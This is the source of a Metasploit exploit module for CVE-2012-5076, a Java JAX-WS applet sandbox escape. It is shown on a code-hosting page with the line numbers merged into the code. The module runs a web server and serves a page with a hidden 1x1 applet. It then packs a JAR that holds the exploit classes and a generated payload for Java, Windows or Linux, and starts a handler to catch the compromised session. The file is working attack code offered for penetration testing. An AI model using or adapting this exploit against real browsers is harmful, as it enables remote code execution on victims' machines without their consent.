Path: blob/master/modules/exploits/multi/browser/java_jre17_jaxws.rb
31756 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({ :javascript => false })1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java Applet JAX-WS Remote Code Execution',18'Description' => %q{19This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java20code outside of the sandbox as exploited in the wild in November of 2012. The21vulnerability affects Java version 7u7 and earlier.22},23'License' => MSF_LICENSE,24'Author' => [25'Unknown', # Vulnerability Discovery26'juan vazquez' # metasploit module27],28'References' => [29[ 'CVE', '2012-5076' ],30[ 'OSVDB', '86363' ],31[ 'BID', '56054' ],32[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],33[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],34[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]35],36'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },37'Targets' => [38[39'Generic (Java Payload)',40{41'Arch' => ARCH_JAVA42}43],44[45'Windows Universal',46{47'Arch' => ARCH_X86,48'Platform' => 'win'49}50],51[52'Linux x86',53{54'Arch' => ARCH_X86,55'Platform' => 'linux'56}57]58],59'DefaultTarget' => 0,60'DisclosureDate' => '2012-10-16',61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)68end6970def on_request_uri(cli, request)71if !request.uri.match(/\.jar$/i)72if !request.uri.match(%r{/$})73send_redirect(cli, get_resource + '/', '')74return75end7677print_status("#{name} handling request")7879send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })80return81end8283paths = [84[ 'Exploit.class' ],85[ 'MyPayload.class' ]86]8788p = regenerate_payload(cli)8990jar = p.encoded_jar9192paths.each do |path|931.upto(path.length - 1) do |idx|94full = path[0, idx].join('/') + '/'95if !(jar.entries.map { |e| e.name }.include?(full))96jar.add_file(full, '')97end98end99fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5076', path), 'rb')100data = fd.read(fd.stat.size)101jar.add_file(path.join('/'), data)102fd.close103end104105print_status('Sending Applet.jar')106send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })107108handler(cli)109end110111def generate_html112jar_name = rand_text_alpha(rand(3..8)) + '.jar'113html = '<html><head></head>'114html += '<body>'115html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"116html += '</applet></body></html>'117return html118end119end120121122